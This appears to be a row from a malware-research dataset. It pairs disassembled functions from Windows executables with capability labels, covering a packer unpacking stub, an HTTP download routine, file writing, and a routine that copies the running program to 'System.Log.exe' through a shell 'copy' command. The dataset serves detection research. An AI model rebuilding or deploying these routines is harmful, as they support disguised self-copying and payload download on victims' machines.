joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401865f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401865fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14018660d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401865f5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140186625
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140186612
sub eax, 3
jb 0x14018663f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140186676
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140186666
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140186664
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140186653
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.1401865b2
jmp 0x1401865fd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1c00
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401866c2
cmp rsi, rcx
jae 0x1401866ca
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401866a9
cmp al, 0x8f
ja 0x1401866a9
cmp byte [rsi - 2], 0xf
je 0x1401866af
sub al, 0xe8
cmp al, 1
ja 0x140186693
cmp rsi, rcx
jae 0x1401866ca
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140186699
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401866ca
lodsb al, byte [rsi]
jmp 0x1401866a9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x184000]
mov eax, dword [rdi]
or eax, eax
je 0x140186727
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1864ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401866d7
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140186721
mov qword [rbx], rax
add rbx, 8
jmp 0x1401866f7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140186761
cmp al, 0xef
ja 0x140186753
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140186733
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140186742
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.1401867e0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.1401867e0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401867d0
sub rsp, 0xffffffffffffff80
jmp 0x1400013e0
Function at 0x140020480
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.1400245f0
sub rsp, rax
mov rax, qword [0x140061d40]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x140020542
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400334cc
cmp rax, 1
jne 0x14002059e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14002051f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140020513
cmp rcx, 1
jb 0x14002059e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400204e0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140020573
lea rcx, [rsp + 0x80]
call fcn.1400360f8
jmp 0x140020575
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140024320
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140033278
int3
Function at 0x140021210
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x1400636ae], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x140021295
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x140063648], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x140063648], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x140063648], rdx
call fcn.14001f1f0
cmp eax, ebx
jne 0x1400213fd
mov byte [0x1400636ae], 1
lea rdx, [0x140045190]
mov rcx, rsi
call fcn.140034f70
test eax, eax
je 0x140021320
cmp byte [0x1400636ad], 1
je 0x140021320
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064408], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064410], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064418], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064420], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064428], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064430], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064438], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140064440], rax
mov byte [0x1400636ad], 1
mov r8, qword [0x140063648]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x140021347
inc rax
test cl, cl
jne 0x140021330
mov ecx, r9d
jmp 0x14002134c
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x140021353
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x1400213b8
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x140021395
inc rax
test cl, cl
jne 0x140021380
mov ecx, r9d
jmp 0x14002139a
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
jne 0x1400213a1
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x140021370
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x1400213e8
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14001d870
add rdi, 8
sub rbx, 1
jne 0x1400213d0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.14002fcb4
call fcn.140033278
int3
Function at 0x140023eb0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x140061d40]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x140023f61
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.1400334cc
cmp rax, 1
jne 0x140023f97
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x140023f3d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x140023f30
cmp rcx, 1
jb 0x140023f97
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140023f00
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140024320
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140033278
int3

Function at 0x1400241a0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140061d40]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x30], bp
mov edi, 0x28
test al, al
je 0x14002424f
nop dword [rax]
nop dword [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400334cc
cmp rax, 1
jne 0x140024285
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14002422c
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140024220
cmp rcx, 1
jb 0x140024285
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400241f0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140024320
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140033278
int3

Function at 0x140024d54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140024d9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140024d9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140024d9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140024d9e
cmp dword [rcx + 0x84], 0xe
jbe 0x140024d9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140024da0
xor al, al
add rsp, 0x28
ret
Function at 0x1400290c4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140029133
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140029133
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140029133
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140029133
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140029133
cmp dword [rcx + 0x84], 0xe
jbe 0x140029133
cmp dword [rcx + 0xf8], 0
je 0x140029133
mov ecx, ebx
call fcn.1400291e4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140028fc0
nop
cmp dword [rbp + 0x20], 0
je 0x140029181
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002918c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400290c4

Function at 0x1400292c8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140029133
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140029133
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140029133
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140029133
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140029133
cmp dword [rcx + 0x84], 0xe
jbe 0x140029133
cmp dword [rcx + 0xf8], 0
je 0x140029133
mov ecx, ebx
call fcn.1400291e4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140028fc0
nop
cmp dword [rbp + 0x20], 0
je 0x140029181
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002918c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400290c4
Function at 0x14003b050
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14003b0d7
mov rsi, rbx
cmp word [rax], bp
je 0x14003b096
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14003b080
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003b07c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400361e4
mov rdi, rax
test rax, rax
je 0x14003b0c4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400413d0
mov rbp, rdi
xor ecx, ecx
call fcn.140037118
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003d7dc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003d7f2
mov al, 1
jmp 0x14003d852
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003d803
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003d850
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003b7f4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003d850
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003d850
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003d850
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003d852
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400411b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400411d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400411d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x14000c048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop word [rax + rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x14000c050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call fcn.140004a10
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x1400130f8], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [0x14000c068]
mov rdx, qword [0x14000c070]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [0x14000c058]
mov rdx, qword [0x14000c060]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rdi], 2
test bl, bl
je 0x140001223
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [0x14000c010]
mov rax, qword [rax]
test rax, rax
je 0x140001242
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x140015008]
call fcn.1400041e0
lea rcx, [0x140004770]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x14000c040]
mov qword [rcx], rax
lea rcx, [0x140001390]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400041d0
movsxd rdi, dword [0x1400130e4]
lea rcx, [rdi*8 + 8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d2
mov ebx, edi
mov r14, qword [0x1400130e8]
xor r15d, r15d
nop word [rax + rax]
mov rcx, qword [r14 + r15*8]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rdi, [rax + 1]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsi + r15*8], rax
mov rdx, qword [r14 + r15*8]
mov rcx, rax
mov r8, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
inc r15
cmp rbx, r15
jne 0x1400012a0
jmp 0x1400012d4
xor ebx, ebx
mov qword [rsi + rbx*8], 0
mov qword [0x1400130e8], rsi
call fcn.140004020
mov rax, qword [0x1400130f0]
mov rcx, qword [0x14000c018]
mov rcx, qword [rcx]
mov qword [rcx], rax
mov ecx, dword [0x1400130e4]
mov rdx, qword [0x1400130e8]
mov r8, qword [0x1400130f0]
call fcn.140003960
mov dword [0x1400130fc], eax
cmp dword [0x1400130dc], 0
je 0x140001344
cmp byte [0x1400130f8], 0
jne 0x140001338
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400130fc]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3
Function at 0x140001550
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x188
mov rax, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1c8]
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x168], r9
lea rcx, [rsp + 0x60]
mov r9, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x170]
mov r8, qword [rsp + 0x168]
mov r10, qword [rsp + 0x1c0]
mov r11, qword [rsp + 0x1c8]
mov rsi, qword [rsp + 0x1d0]
mov rdi, qword [rsp + 0x1d8]
mov rax, rsp
mov qword [rax + 0x48], rdi
mov qword [rax + 0x40], rsi
mov qword [rax + 0x38], r11
mov qword [rax + 0x30], r10
mov qword [rax + 0x28], r8
mov qword [rax + 0x20], rdx
lea r8, str._s__s__s__s__s__s__s
mov edx, 0x100
call fcn.140004bb0
mov rcx, qword [rsp + 0x180]
lea rdx, [0x14000c102]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x14000166d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x60]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [rsp + 0x50]
mov r8, rax
mov r9, qword [rsp + 0x58]
mov edx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rcx, qword [rsp + 0x58]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
lea rcx, str.Strings_written_to_file_successfully._n
call fcn.140004b60
jmp 0x140001679
lea rcx, str.Failed_to_open_file_for_writing._n
call fcn.140004b60
nop
add rsp, 0x188
pop rdi
pop rsi
ret
Function at 0x140001690
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], rdx
lea rcx, str.HTTPGET
mov edx, 1
xor eax, eax
mov r9d, eax
xor eax, eax
mov r8, r9
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400016ed
lea rcx, str.Failed_to_open_Internet_n
call fcn.140004b60
mov qword [rsp + 0x70], 0
jmp 0x1400018d5
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, eax
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140001751
mov rdx, qword [rsp + 0x68]
lea rcx, str.Failed_to_open_URL:__s_n
call fcn.140004b60
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x70], 0
jmp 0x1400018d5
mov dword [rsp + 0x4c], 0x2000
mov dword [rsp + 0x48], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov eax, dword [rsp + 0x4c]
mov r8d, eax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400017bd
lea rcx, str.Failed_to_allocate_buffer_n
call fcn.140004b60
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x70], 0
jmp 0x1400018d5
mov rax, qword [rsp + 0x60]
mov dword [rax], 0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
add rdx, rax
mov r8d, dword [rsp + 0x4c]
mov rax, qword [rsp + 0x60]
sub r8d, dword [rax]
lea r9, [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, eax
xor eax, eax
cmp ecx, 0
mov byte [rsp + 0x3f], al
je 0x140001811
cmp dword [rsp + 0x48], 0
setne al
mov byte [rsp + 0x3f], al
mov al, byte [rsp + 0x3f]
test al, 1
jne 0x140001822
jmp 0x1400018b5
mov ecx, dword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
add ecx, dword [rax]
mov dword [rax], ecx
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
cmp eax, dword [rsp + 0x4c]
jb 0x1400018b0
mov eax, dword [rsp + 0x4c]
shl eax, 1
mov dword [rsp + 0x4c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x4c]
mov r9d, eax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400018ab
lea rcx, str.Failed_to_reallocate_buffer_n
call fcn.140004b60
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x70], 0
jmp 0x1400018d5
jmp 0x1400018b0
jmp 0x1400017c8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
add rsp, 0x78
ret
Function at 0x140002070
Capabilities:
Execute command

Disassembly:
sub rsp, 0x468
mov qword [rsp + 0x460], rcx
lea rax, str.System.Log.exe
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x350]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x1400020cb
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Error_getting_the_path_of_the_executable._n
call fcn.140004b20
jmp 0x14000216b
lea rcx, [rsp + 0x240]
mov r9, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x28]
mov rax, rsp
mov qword [rax + 0x20], rdx
lea r8, str._s_s
mov edx, 0x104
call fcn.140004bb0
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x350]
lea rdx, [rsp + 0x240]
mov rax, rsp
mov qword [rax + 0x20], rdx
lea r8, str.copy___s____s_
mov edx, 0x208
call fcn.140004bb0
lea rcx, [rsp + 0x30]
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
cmp eax, 0
je 0x140002157
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Error_executing_the_command._n
call fcn.140004b20
jmp 0x14000216b
lea rdx, [rsp + 0x240]
lea rcx, str.Successfully_copied_to__s_n
call fcn.140004b60
nop
add rsp, 0x468
ret